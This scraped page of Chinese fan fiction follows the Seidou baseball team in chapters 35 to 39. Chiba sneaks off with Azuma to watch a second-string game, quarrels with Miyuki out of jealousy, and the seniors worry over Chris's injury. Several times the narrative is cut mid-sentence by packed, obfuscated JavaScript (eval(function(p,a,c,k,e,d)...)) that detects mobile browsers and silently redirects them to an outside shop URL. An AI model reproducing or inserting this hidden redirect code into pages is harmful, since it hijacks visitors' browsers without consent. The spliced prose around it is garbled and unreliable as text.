“我去问。”小泉忽然说,看着剩下的两个人,“你们两个照常训练,别让别人看出问题,尤其是别让后辈们看出来。” 35.二军练习赛 与东跟近藤分开后,小泉独自走到球场边的观察室。今天的前半段是固定的自由训练,片冈监督没有像往常那样,站在休息区旁监督他们拉伸和体能训练。走到观察室的小泉从敞开的门里,只看到了高岛老师和经理们正在准备一会儿要用的记录手册。 小泉想起来,今天二军有跟帝东高校的练习赛,片冈监督应该是去二军了。 虽然克里斯的事情问高岛老师应该也可以,但…… 小泉看了看高岛老师旁边的长谷川和二年级的藤原,到了嘴边的话又咽了回去,没有敲门。 他转身回到球场。 克里斯的实力有目共睹,他在这个马上就要进行夏甲预选赛的时候受伤、甚至到了要退部的地步,对他们所有人来说都是一个很大的打击。 对于他们三年级来说,这是最后一个去甲子园球场的机会,此时失去正捕,防守上就出现了巨大的缺口。虽然近藤的配球思路与防守尚可,但他接球稳定性始终没有提上去。这其实也不全是近藤的错。如果近藤遇到的是心态稳定的投手,大概不会出什么问题,偏偏他和丹波都需要修炼心态。 对二年级来说,克里斯的影响绝对比三年级大得多。被戏称“歉收的一代”的二年级,在一年前刚入学时只有克里斯一个人说得过去,所以他一直作为二年级的代表而奋斗,无论是丹波、结成,还是今年春假结束刚进一军的小凑,哪一个人都无法接受克里斯的下场吧。 休息区里,原本佩戴护具的近藤已经去了牛棚,现在正在弯腰给丹波接捕,棒球撞击手套的声音断断续续传来。小泉转头在球场上巡视,想找东清国商量几句,却没看到他的身影,而且他还发现队里的一年级也不见了踪迹。 小泉心里忽然有种不好的预感。 “喂,小泉,过来投球给我们打嘛!我们想练跑垒练打击啊!”菅田大嗓门喊道,旁边还跟着二年级的小凑和结成。 本来就已经很烦了,现在菅田还过来添乱,小泉额头冒出井字:“三垒手都不在,你们练哪门子跑垒啊!” “欸?东呢?”菅田叉腰,左右张望。 时间回到三分钟前。 自告奋勇去打听克里斯消息的小泉离开后,近藤要跟丹波练打击,只剩下东清国在打击区左顾右盼。 这时,他看到那个一年级叫千叶的投手,轻轻活动着双臂从球场边缘走过来,看起来是刚刚拉伸结束,想要去器材室做力量训练。 千叶的拉伸时间一向比其他人要长,很宝贵自己的肩膀。克里斯没回来,一军只有一个捕手,他没有人接球,好像已经几天没有练习投球了。虽然他们做投手的也不一定每天都要练球,但至少也会投几个保持手感。 所以一年级今天的训练内容大概就是重训结束后,对着球网投几个球? 东想起了近藤说的那句“千叶说不定知道内情”。 克里斯到底是什么情况,他觉得即使小泉去问监督,监督也不太可能会告诉他。问监督球队队员这种事情,应该是他这个队长的责任,监督在克里斯离开学校那天都没有告诉他这个队长,换一个人去问也不会被告知更多。 克里斯什么时候受伤了,为什么要退部,他伤得严不严重,会不会回来……太多太令人不安的事情了。 虽然小泉警告他们不要让更多人知道克里斯受伤可能要退部的事,但跟已经知道情况的人说就没关系了吧。 ——不过要先找一个没有人的地方,万一被其他人听见,传得沸沸扬扬就麻烦了。 “千叶,”东向那个没说过几句话、但每次相处都不大愉快的一年级挥挥手,走过去搭话,“二军有比赛,你要去看吗?” “比赛?”千叶停下脚步,脸上露出惊讶的神情,“今天吗?” “对,跟帝东比,也是二军,我们俩过去看看怎么样。”东努力笑得纯良,试图扮演一个和善的前辈。 诱拐学弟!当然要笑容满面!被前辈的和蔼折服吧!一年级!东如此想。 千叶看到东清国的笑容浑身一抖。 虽说他已经习惯了东前辈的脸,现在被他叫住也不会吓一跳,但他还是受不了他笑啊! 一般人都是笑起来好看,东前辈笑起来能吓哭小孩。门牙还豁了! 刚才东清国说要去看比赛时,千叶其实还有些心动。帝东的二军,说不定能看到乾宪刚——他还没跟乾说自己已经升入一军的事,要是能去现场,正好可以向乾炫耀炫耀。但一看东前辈的脸,他立马就不心动了。 东前辈长得太难看了,他不想跟他去! 千叶几乎立刻找了理由拒绝道:“东前辈,我们还要训练吧,随便翘了训练,过去凑热闹会被监督骂死的。” “真的假的,你这么老实?”东很明显不大相信,心里有点着急,这个一年级不大好拐不大好忽悠,但表面还是故作可惜,“这种比赛,可是监督用来确定是剩下几个一军席位的比赛呢,一定很激烈,我还挺想去看的,但是你这么说也很有道理,那就算了……” “话又说回来了,”千叶话风一转,大义凛然道,“我觉得对实战的观察也是一种训练,看比赛的时候我会好好去学习,相信监督是不会怪我们的。” 东清国:“……”变脸比翻书还快啊。果然你也很好奇谁会在你之后进一军吧。 东跟千叶两个人偷偷摸摸地往二军的b球场跑。 切入正题前,应该先拉呱联络一下感情。 于是,在路上,东问千叶:“话说你爸爸为什么要给你取‘一郎’这个名字?” “因为我爸爸崇拜铃木一郎,他希望我能像铃木一郎一样做一个厉害的打者。”千叶面无表情地平铺直叙,“很土吧,我也觉得这个名字非常土,像上个世纪6、70年代出生的人才会取的名字。” 东清国笑了起来:“你爸爸应该跟健一郎爸爸很有共同语言,健一郎的爸爸就是因为喜欢铃木一朗,所以给健一郎取了这么个名字。” 铃木健一郎,一军的左外野前辈。 当初丹波前辈带他认识一军成员时介绍过这个人。千叶对这个名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133419|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字有印象,因为它和那位效力于美职队的日本棒球传奇“铃木一郎”,读音极为相似。但由于铃木前辈长得太过平平无奇,千叶对他的长相毫无记忆。 “你没跟健一郎讲过话吧?”东清国忽然压低声音,神秘兮兮地说,“那家伙还一直在等你那个认识队友的作业找到他身上,菅田跟近藤都开始打赌你是一个月还是两个月能想起他了!嘎嘎嘎……不对,我是不是说了什么不该说的。你可别告诉菅田和近藤啊!” 东后悔得直拍自己嘴——我怎么这么嘴快! 千叶:“……” 东前辈,原来你也是个大嘴巴啊。 “监督说我不用做那个作业了,”千叶面无表情地说,“所以菅田前辈跟近藤前辈打那个赌应该没用了吧。” “话不能这么讲,就算不用写作业,跟在你身后的守备的前辈多说说话,也没有坏处吧!你跟克里斯你不就挺主动的嘛!”东笑道,笑着笑着又有点笑不出来了,“……克里斯的事情,你知道吧?” “……”千叶顿了一下,“如果前辈说的是克里斯前辈要因伤退部的那件事,我知道的。” 东听到这话脚步顿住了。 千叶真的知道,甚至还知道克里斯想退部的事! 原本只是抱着试试的心态打探打探,没想到这家伙不仅知道,还知道得这么具体。难道克里斯的伤真的已经严重到无法挽回了?他是怎么知道的?是克里斯亲口告诉的,还是听其他人说的? 千叶摸不着头脑,一扭头,看到东前辈雷霆震惊的表情——用乾的话说就是仿佛被雷劈中了。 特别难看。难看到了新的高度,即使知道这个前辈打击特别厉害,他也要大声地讲——东前辈,难看! 千叶立刻头也不回地加快速度向b球场走。 身后传来东前辈大声而急促的呼喊:“你真知道克里斯什么情况啊!不对,你先等等!你跑什么,我还有其他话要问你啊!” …… 春季下午明媚的阳光,斜斜掠过围栏的铁丝网,在地面投下交错的阴影,风里裹挟着青草与泥土的气息,混合着远处传来的棒球撞击手套的闷响和人声鼎沸。 千叶一路小跑到二军球场,刚一进球场就听到ob的一阵惊呼。 球场上,蹲在本垒处的捕手正跟游击手完成了完美的配合。投手投进捕手手中的球,以一种及其叫千叶眼熟的、顺滑流畅到近乎行云流水的完美的姿势,从捕手手中投出,宛如从本垒处射出的激光,以令人的速度飞入游击手的手套。 飞速补位的游击手,已经踩中了二垒垒包,接到球顺势弯腰向下,毫无悬念地轻松阻杀从一垒跑过来的盗垒的帝东棒球服。 “那个一年级捕手,很厉害啊!宫内和槡原有这么一个后辈可危险了。”他听到不远处的ob大声说道。 游击手抬头时,千叶才发现是仓持。 那么,本垒那个被人夸的捕手果然就是御幸啊。 千叶看向本垒处,在这攻守交换之时,那个捕手意气风发地抬起了自己的面罩。 36.二军练习赛(完) 场边的OB的人堆热闹得很,因为御幸那一记快准狠的传杀彻底点燃了气氛。 听到周围此起彼伏的“御幸”、“捕手”、“强肩”、“好苗子”……千叶心情有点复杂。 大家都记住了御幸的名字。 今年红白赛开始的比较早,距离关东大会还有一个多月,在红白赛后监督只选了他到一军,再没有其他人,按理说,应该空出一段时间让大家沉淀沉淀,带“着一定要去一军”的劲头好好训练,不会那么快就要进行练习赛选人。 所以是因为克里斯前辈受伤了,一军捕手位置不稳,所以才想要尽可能地快一点组建队伍,让大家磨合吗? 东前辈说这场比赛监督会确定一军的席位。如果这局御幸表现得很好,他会进一军吗? 克里斯前辈,空出的那个一军正捕手的位置是克里斯前辈的。 明明御幸也很帅,实力也很强,比起克里斯前辈他还跟御幸更熟一点,但为什么他还是不怎么高兴呢。 难道是因为一见钟情的威力比较大,所以他还是更喜欢克里斯前辈吗?还是因为担心御幸不如近藤前辈,进一军也没发给他接球?不不不,御幸还不一定能进一军呢,宫内前辈接球也挺不错来着…… “你跑什么啊!跑得倒是挺快。”东气喘吁吁地跑过来,“累死我了!” 被打断思路的千叶平静地转过头,心里忽然不再想委屈自己总是假装不看脸了:“东前辈,你那个惊讶的表情太吓人了,我受不了。而且,你跑得好慢。” 反正近藤前辈是肯定不会哄他的,御幸也坏,捕手都不哄投手的话,作为野手东前辈也应该学着包容一点投手的任性吧! 欸?话说我心情不好是不是因为这个?捕手都不哄我什么的。 “你这个兔崽子!说谁丑跑得还慢呢!”东很生气地指着千叶的鼻子瞪眼睛,大阪腔的尾音扬得歪七扭八地很滑稽。 “而且大阪口音也很好笑。” 可我不是任性的投手啊。千叶一边想一边面无表情地补充打击。 “哈?你小子找死是不是!”东清国的嗓门瞬间拔高八度,撸起袖子就要去揉千叶的头发。 “喂,那两个在球场边大声喧哗的混小子!过来!”片冈监督黑着脸在休息区边大喊。 东清国的身体猛地一僵,千叶也瞬间收起乱七八糟的坏心眼,两人僵在原地。 一时间,全场所有人都在看他们两个人。尤其是帝东的人,还有几个偷笑的,甚至千叶还在人群里看到了乾。 真的看到了乾宪刚!千叶瞪圆眼睛不敢相信。虽然想过乾很有可能会跟帝东的二军一起来比赛,但真的看到了还是很惊讶啊! 乾也特别惊讶地看着他,然后一跟他对视马上偏过头,后面小辫子一撅一撅的,一看就在偷笑! 还没跟乾炫耀进一军就先被乾笑话了!千叶的脸霎时红成了猴屁股。 太丢人了。 真是太丢人了! 虽然嘴说上实战也是一种训练,但他跟东前辈他们俩毕竟是偷偷跑过来的啊!原本就是想悄悄过来看看的,结果直接被监督发现了!都怪东前辈大嗓门! 千叶心里非常生气,咬着下唇偏头看罪魁祸首东前辈。 东前辈居然还在瞪他!眉头皱成一团,脸拉得老长,好难看!更生气了! 虽然心里很生气,但千叶跟东两人还是蔫头耷脑地低着头,垂头丧气地走到片冈监督面前等着挨训。 “你们两个,要看比赛去休息区安静看,看完给我跑圈,一直跑到晚饭!”监督没有半分缓和的声音严厉道。 “是!” 这边的小插曲尘埃落定,球场重新焕然一新,比赛重新开始。 千叶跟东走到休息区的角落,川上头上搭着毛巾正坐在长椅上低着头休息,从上往下俯视,千叶看不到川上此刻是何表情。 千叶侧头看了一眼记分牌,已经过了七局,比分11:15,青道落后,场上完全变成打击战了。 第八局 千叶视线重新投回场上,真是很巧,场上的人他两边都有认识的。 己方青道,打者是四棒,上林山诚。 对面帝东,蹲在本垒处的捕手是乾宪刚。 上林前辈还是一如既往地冷静又很有气势。高大的身躯稳稳扎在打击区偏内的位置,膝盖几乎要碰到本垒板,球棒握得很位置偏下,哪怕只是站在那里,都给投手带来了莫大的压迫感。 千叶的目光移到投手丘,帝东的投手眼神飘移,投球的预备姿势做得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千叶冷漠地浇冷水:“东前辈你忘记了,我们今天被监督罚跑了,不能练挥棒。” 东清国:“……噢。” 37.嫉妒? “你怎么过来了,一军训练有那么轻松吗?”换下捕手护具的御幸走到千叶旁边,又朝东点点头,“东前辈好。” “特意过来看你出风头的,感不感动?”千叶看了一眼御幸随口一说,又将视线转向东清国,看到东貌似很严肃地朝御幸点点头,给了他一个怪怪的眼神。 东生气了:“看什么看!你以为所有人都像你一样没礼貌吗!” 千叶一本正经地纠正:“我很有礼貌,遇到前辈也会打招呼。” 东更生气了:“放屁!你碰见我从来没有打过招呼!还三次有两次说我难看!” “我没有,我没说过。” “……”御幸额头滴下一滴无语的冷汗。 无语的御幸站到两人中间把他俩隔开:“好啦好啦,不要吵啦,监督看过来啦!” 可能因为东前辈果然是前辈,也可能是监督警告的眼神真的有往这边抛刀子的迹向,总之,几个回合后,千叶跟东不再说话,安静地看着场上的击球员。 御幸靠到千叶旁边,手遮住嘴低声笑问:“你怎么跟谁都能吵起来啊。” “我只是比较喜欢说实话。”千叶平静地看向场上,“总是说实话肯定不会讨人喜欢。但是真奇怪,御幸你这种满嘴假话的人,为什么也不怎么讨人喜欢呢。” “……”御幸脸上的笑容冷住了,“哈?” 五棒是红白赛上把他的球敲出本垒打的伊佐敷前辈,此刻已经安打上垒了,六棒是一个千叶没有注意过的前辈。 两人间忽然有些沉默。 “御幸,你不用上场吗?”千叶没有回头看御幸。 而御幸只是看着千叶,最后带上打击手套离开了休息区。 …… 八棒,捕手御幸一也。 “梆——” “第一棒就是个二垒安打,强捕强打啊,就是看起来火气挺大。”东啧啧两声,看着场上带着护目镜的一年级捕手,面无表情地跑上二垒,凑到千叶旁边八卦,“你刚刚跟他说了什么?” 千叶嫌弃:“东前辈,你的肚子挤到我了。” 东:“……” 东前辈这回真生气了,扯起千叶的领子就开始摇晃:“这可是我身上最有魅力的地方!最、有、魅、力!” “骗人,东前辈你明明也很在意你的肚子吧,说真的……你该……你该减减肥……咳咳咳!” 把千叶扯得窒息蹲在地上咳嗽的东气消了,重新变得冷静下来:“你今天怎么回事。吃枪药了?呛完这个呛那个。” 千叶突然制住了自己的咳嗽。 “我是不太清楚你平常是个什么性格,毕竟我没跟你相处多久。不过虽然我第一次见你,你就是个嚣张的学弟,但今天,你嚣张过头了,完全就是故意挑衅吧。是因为心情特别差吗?”东如此说道。 …… 他好像经常会——嫉妒。 从拿起棒球开始挥棒,他就诞生了一种名为“嫉妒”的情绪。虽然有很多教练都会夸他学得很快、跑得很快、很有打棒球的天赋,但他还是不开心。他嫉妒爸爸挥棒能挥出一阵风,嫉妒他高年级那个很厉害的游击手学长。 左撇子做游击手是很不合适的。大多数人的惯用手都是右手,所以跟左撇子游击手训练传接球不方便,一开始没有人愿意跟他配合。他很努力地训练,可是还是比不过那个游击手学长。虽然学长从来没有看不起他,还很热心地教他技巧,但他一直把他当做假想敌。 教练不知道是什么想法,可能是觉得他实力不够,他开始让他转位置。 捕手因为传球方向需要右撇子,所以他没有做过捕手。 内野手中只有一垒手合适左撇子,所以他也做过一垒手。可一垒手防守不太需要太厉害,因为打者也是右撇子多,往一垒飞的球少,所以队伍更倾向要一个打击更厉害的一垒手。教练说,以他的防守能力去守一垒太可惜了,所以又让他去学着守外野。 说来说去,还是嫌弃他打击不够厉害——当时的他这么想,也因此有点讨厌那个教练,尽管那个教练是个帅哥。 外野是一个他不怎么喜欢的位置,因为半天才会有一个球过来,却要时时刻刻提着精神观察场上。 教练似乎也发现了这一点,但他一直坚定地认为他很适合外野,只是需要适应。直到有一次,他发现他可以从外野把球传到本垒的捕手手套里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145436|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从那以后,他就是投手了。 投手是跟其他位置完全不一样的守备位置,站在投手丘上不需要看其他的人,也不需要追着球跑,他再也不会因为守备时发呆被批评,甚至打击也不需要多年厉害了…… 他挥棒可能永远没有那么快、眼神永远也练不好、站在打击区还是很容易走神,但他的球可以三振掉所有挥棒比他更快、眼神比他更好、打击比他更厉害的人。 他只需要看着捕手的手套,然后——投球。 从那以后他再也没有嫉妒过别人。 ——如果真的是这样就好了。 可惜,他一如既往地是个坏蛋。 每一次在想不清自己的情绪时,他就会奔跑。 虽然他很讨厌跑步,但是输球也跑、球被打出去愤怒也跑、难过也跑、迷茫也跑……所有的负面情绪,在他被逼迫着跑出去后,似乎都会被疲惫代替。 风越过球场,春天青草的清冽气息漫过来,撩动千叶额前的碎发。橘红的夕阳斜斜坠在天际,把光揉成暖融融的一片,泼洒在空荡荡的球场上。 夕阳将一前一后两个人的影子拉得很长,一个在前一个在后。 记分牌上的分数定格在14:16。 …… 到了晚饭时间。 千叶觉得有点疲倦了。身体上不疲倦,心里上疲惫不堪。 东前辈虽然没干什么,但他说的话让他的心灵受伤了。原来今天那么憋屈是因为他嫉妒御幸——嫉妒御幸?这合理吗? 千叶捂住脑门百思不得其解。 嫉妒御幸也太离谱了。御幸是捕手啊,虽说他会对捕手挑三拣四,但嫉妒捕手是什么鬼? 就算御幸是个人就能看出来很有天赋,指挥配球很灵活、打击也挺厉害,但他毕竟还是个一年级啊,实力肯定不如克里斯前辈,嫉妒御幸还不如嫉妒克里斯前辈呢,克里斯前辈也是指挥配球打击样样厉害的超级捕手,克里斯前辈还更温柔…… “千叶。” 听到这声音千叶浑身一抖,一抬头御幸正端着盘子在他旁边看着他,脸上难得没有轻浮又欠揍的笑容。 “我们谈谈吧。” 38.一军 “我们谈谈吧。” 千叶握着勺子的手指一顿,慢吞吞地把勺子从米饭里抽出来,轻轻搁在碗沿,发出一声细微又沉闷的轻响。 他其实不太想跟御幸谈。 可能是第一眼帅哥的印象加分,他对御幸的感官很好,哪怕知道御幸在外面败坏他的名声他都不怎么生气。 这是实话。出门在外,名声有好有坏,反正他从小到大名声就没好过。 他知道自己很难缠,但他自认为不是记仇的人,尤其是御幸对他还算不错,会请他吃饭,甚至愿意让他睡他的床——以前从来没有人这么对他。 他不喜欢派对,不喜欢交朋友,除了学校组织的夏令营冬令营之类等等正常集体活动,他从来没有在朋友家里留宿过。 这么讲的话,御幸可以算得上是他关系最近的朋友了—— 啊,真的吗?御幸居然要变成我最好的朋友了吗?! 千叶惊恐绝望。 不不,冷静一点千叶一郎。 虽然你十分帅气大方心胸宽广,但也不能怀疑自己的人际关系,御幸肯定不是你最好的朋友,你最好的朋友起码要有跟你一样的好心眼,不能是御幸一也。 所以这个周末就随便选一个朋友跟他回家睡一晚吧!龙马仓持甚至川上都可以!啊,乾就算了,乾不大好看,晚上一侧头看到他害怕睡不着…… 虽然他不介意御幸败坏他名声,也很难生御幸的气,因为他对他还蛮好的,但是他还是决定讨厌御幸。 他讨厌跟御幸抢克里斯前辈,讨厌御幸肩膀那么强人也厉害,讨厌御幸一边骗他还一边跟他拉关系,甚至讨厌御幸做饭一般……总之,不想让他代替克里斯前辈给他接球,也不想跟他谈话。 理由,就是没有理由。讨厌一个人需要什么理由!看他不顺眼不行吗? 御幸眼看着千叶的脸色变来变去,一会儿青一会红。 “我说你啊,你最近是怎么了,好像特别看不惯我。” 御幸语气里好像带着点无可奈何的迁就。 “我没有。”千叶皱眉快速否认。 迁就?我需要你的迁就吗?我就看你不顺眼怎么啦。问我我也不承认。 “……”御幸沉默了一下,挑眉,“你不是说你喜欢说实话吗?” “我说的就是实话!”千叶看都不看他。 “……”御幸盯着千叶,“所以你真的看我不顺眼啊,为什么?” 御幸没有经过千叶同意,直接坐到他旁边,惹得千叶直瞪他。千叶没有端着盘子跑掉,也没有大喊大叫,他只是不理他,然后一言不发地狠狠用筷子铲了一大口米饭塞进嘴里。 御幸转过头沉默片刻,也端起饭碗开始恶狠狠地扒饭,一边吃一边说:“今晚吃完饭后要集合,东前辈说监督会宣布一军名单。如果你一直回避跟我交流,我是不会给你接球的。” “你还没进一军呢。”千叶气得饭都没嚼碎就咽了下去,“也不是正捕,架子摆的好大!” “彼此彼此,架子摆的好大。”御幸侧过头,眼底冷淡地较真,“你不也是刚进一军就不找我练球,还莫名其妙给我摆脸色,冷暴力我。” “我哪有!” “你就有!” “我没有!” 听着两个人声音越来越大的周围的同期前辈停下动作,一脸麻木地看向他们俩:“……” 又来了,怎么又吵架了啊,这两个人! “好了你们两个!”东忍不下去了,放下筷子厉声制止,“食堂不是你们吵架的地方!这是第二次了!” “是!”两人同时大声回答,然后瞪着对方。 东:“……” 东猛地扭头向坐在他旁边的小泉告状:“他们两个吼我!小泉!那么不尊重前辈!” 小泉连头都没抬,扒着饭淡淡回了一句:“……别用你这张脸做出委屈的表情,行吗。” “你也嫌弃我!” …… 傍晚的风吹来,带着春季温暖的气息。 食堂吵吵闹闹之后,大家在室内训练场地集合,等着监督过来。 很奇怪,明明吃晚饭的时候,千叶跟御幸已经开始开始吵架了,但集合的时候两个人却又一起过来了。 虽然彼此还是瞪着对方,准确地说是千叶单方面瞪着御幸,御幸扭头不看他,却在千叶加快速度要离他远点的时候跟在他后面。 一前一后,你追我赶(?)到室内训练馆,二三年级的前辈已经列队站好了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小泉次郎站在他旁边靠在墙上抱胸看着御幸,淡淡道:“一年级……御幸,是吧?千叶被近藤带走了,你也跟我聊聊吧。” “是,前辈。” 39.近藤 “我有跟你对话的资格了吧,一军投手,千叶同学。” 仓持就站在御幸的不远处,听到御幸这句话,他离开脚步一顿。 “哈?”千叶果然生气了,“对话的资格?要是你觉得进一军才能我‘对话’,那你之前跟我说的话是什么?废话吗?浪费我时间?” 刚刚还因为没有选上一军有些失落的仓持,此刻只想嘴角抽搐。 几分钟前,他还看到千叶跟御幸,从食堂到训练馆的门口“友好”交流。 大抵就是一些“你为什么不理我”、“你挑衅我有意思嘛”、“你升一军就升一军跟我有什么关系”……这一类没有营养同时也不痛不痒的话。 一转眼氛围就这么急转直下。 仓持没太有心情管他们俩的闲事。 无论是同寝室的增子前辈,还是同期前园,近乎所有他认识的前辈同期,都在努力地挥棒,努力练习。跟千叶和御幸这两个已经升上一军的还有闲心吵架的人不同,他可是很忙的,有很多事要做的啊。 仓持默默地看了他们两个一眼,头也不回地离开了训练馆。 可能是千叶声音确实有那么一点点大,不光是仓持一顿,东前辈、小泉前辈还有近藤前辈,他们三个人也听到了,然后一下围过来。 东前辈挺着肚子直接站在中间,小泉前辈跟近藤前辈一人一个把他们拖开了。 有东前辈挡住,千叶没看到御幸是什么表情,倒是被近藤前辈拖开的时候,余光看到了菅田前辈跟丹波前辈站在一旁看热闹。 丹波前辈表情是挺担心的,菅田前辈却一脸冷漠无情,跟他对视后,还故意一边赶丹波前辈出去一边对丹波前辈说:“现在克里斯受伤,本来就缺乏战力,千叶还跟捕手吵架,我看你也不用担心他跟你抢投手丘了,他肯定上不了场。” 千叶更生气了,既气菅田前辈,又气御幸。 御幸很厉害,千叶觉得自己也很厉害,不会比御幸差。为什么菅田前辈说得好像只有他在搞事,只有他会被骂一样? 御幸为什么一定要执着于让他跟他交流呢? 千叶想不明白。 即使是平常不大交流的投捕,上了场不也能正常合作吗?难道投捕一定要成为密友才能一起打比赛吗? 这不就说明御幸不信任我吗?认为我会在投手丘上乱来? 千叶一直认为比赛和平常是两码事,即使前一天跟队友打架,他也不会让负面情绪影响到第二天他的发挥。就像从小到大他遇到过那么多难看的队友,他也老老实实地跟他们一起比赛了。 而且御幸明明不想跟我讲他的心里话,却老是要我把自己想什么告诉他,不觉得这很不公平吗? 想到这儿,千叶忽然明白了自己为什么那么生气。跟嫉妒、心情不好、更喜欢克里斯前辈完全没有关系,他要生气,只是因为他心中想要坦诚地对待御幸,御幸却不想同样坦诚地对待他。 哈?凭什么?就凭他御幸是捕手吗?克里斯前辈都没有这么对我! 御幸还想跟他“谈谈”?他还没跟御幸“谈谈”呢! 千叶越想越委屈,隔着东前辈抻着脖子骂御幸:“御幸你这个混蛋!” 被小泉拉住的御幸:“……” 御幸从东的身躯的另一边探出头,不可思议:“干嘛骂人啊,我做了什么就成混蛋了啊!” 千叶是很想回嘴的。 “行了行了。”但近藤一巴掌捂住了千叶的嘴,连哄带拽地把人拖到一边,“吵什么啊你。” 千叶挣扎:“唔……我吵架跟近藤前辈你有什么关系啊!唔唔!” “嘿,你这个一年级对前辈语气客气一点啊。” 近藤和千叶的声音从旁边传过来,东跟小泉对视一眼,又同时看向御幸。 御幸站在原地,偏头看向一边。 东给小泉使了个眼色。 小泉当没看见。 ‘去啊!投手!’东急了,推了小泉一把,忙给小泉摆口型。 小泉翻了个白眼,无奈地开口:“你为什么跟千叶吵架?” “……”御幸沉默不语。 “不想说啊。”小泉叹气,扭头就示意东,‘这个一年级不要我管’。 东给小泉比了个加油的手势。 小泉:“……” 小泉气得叉腰,你这家伙还记得自己才是才是队长吗? 知道指望不上东清国的小泉,冷漠地对他一挥手,“东,你回去吧,我跟他一会儿去练球。”然后转头看向御幸,“一年级,可以吧?” 御幸看了眼小泉,又看了眼不远处还在跟近藤扯皮的千叶,抿嘴点头:“嗯,可以。” …… 大概就是这样。 爬上一个坡,走到路灯昏暗的台阶上。 近藤前辈慢慢地在前面走,千叶在他后面艰难地跟着。 因为御幸,千叶吃饭太急,他觉得自己现在有点消化不良,即使现在近藤前辈行动不快,他也有点浑身上下不舒服。 千叶不想跟御幸交流,也一点不想跟近藤前辈瞎扯,但不知道为什么,这群前辈似乎都非常喜欢管闲事。 小泉前辈跟东前辈两人挡住了御幸。 近藤前辈说他跟前辈讲话要有礼貌,非要跟他讨论“敬语”有几种讲法(?) 扯来扯去,千叶都快忘记自己为什么生气、忘记还有跟御幸没有吵完的架。 晚风吹过,千叶摁住自己的头发,烦躁地不想被吹成鸡窝头。 走在前面的近藤这时忽然开口了:“千叶你对别人的情绪很敏感啊。在你看起来那个一年级捕手是个什么样的人呢?” 摁着头发的千叶毫不犹豫地回答:“坏蛋。” “诶……刚刚居然不是气头上才说的话吗?”近藤喃喃,马上又提起了点兴趣,问道,“那我呢?” “什么?”千叶疑惑侧头。 “你觉得我是个怎样的人呢?”近藤停下脚步,也侧过头平静地解释。 千叶思考了一下:“靠谱又不怎么靠谱的前辈。” “……说话还真是一点不客气啊。”近藤可疑地沉默,然后感慨一句。 千叶心情忽然变得慢慢平静下来。 近藤前辈是一个很慢悠悠、似乎干什么都不着急、好像无论对面说了什么话都不要紧的人。 不能说他被他感染了,跟在近藤前辈旁边的确急不起来。 “话说你为什么跟那个一年级捕手吵架来着?这是第二次了吧。我总觉得,千叶你好像相处一下就能感觉到对面是个什么人一样。所以你是怎么想的呢?”近藤前辈又继续往前走,不知道要把他带到哪里去。 “……” 其实千叶不太想跟别人聊御幸,聊天聊御幸是什么鬼,又不是年轻小情侣吵架要周围人调解什么的…… 呃,这是什么恶心的比喻。 千叶鸡皮疙瘩掉一地,赶紧摇摇脑袋把那堆令人窒息的想法晃出去。 但如果一直回避、他又跟御幸没有和好的话,可能就一直会有人问他。 那样也太烦人了。还不如告诉近藤前辈,让他告诉别人算了。 所以千叶不情不愿地说了实话:“御幸他自己不想跟我说心里话,却要我把我的想法告诉他,我觉得这不公平,他根本不想跟我真诚地交流,所以不想理他。” “心里话啊,你这点倒是真的跟日本人很不一样,原本我们都没看出来你是美国长大的呢……”近藤恍然大悟般地惊奇道,然后解释,“大多数日本人是很不擅长说真心话的。你不能指望一个表白都需要用“今月色真美”代替的国家里的每个捕手都跟你心连心,这不现实。” “我也没有要求一定要跟捕手心连心。”千叶又有点委屈了,“是御幸他非要追着我问我到底在想什么!我不想跟他说!” 这是在求关注吧?这是在撒娇吧? 近藤觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在国三最后一个学期。突然想尝试一下变速球,就稍微练了练。” “我记得变速球学起来很难啊。练习很多吧?国中就投难度大的球对肩膀不好,没受伤吧?” “我跟变速球的相性好像还不错,练习不是很多,胳膊也挺好,没有受伤。”千叶老实地回答。 听出千叶的实诚的近藤沉默了。 居然这么理所当然地就说出让人嫉妒的话了。 小泉可真倒霉,不,还是丹波更倒霉一点吧,二年级遇到一个超级有天分的后辈什么的。 近藤心有戚戚。 不过我也挺倒霉的,二年级时碰到了比自己低一年级的克里斯。 但克里斯…… 想到监督说的克里斯的伤势,近藤不由得叹气。 在今晚之前,东,还有他跟小泉,他们三个正副队长,其实是被监督告知了克里斯的情况的。 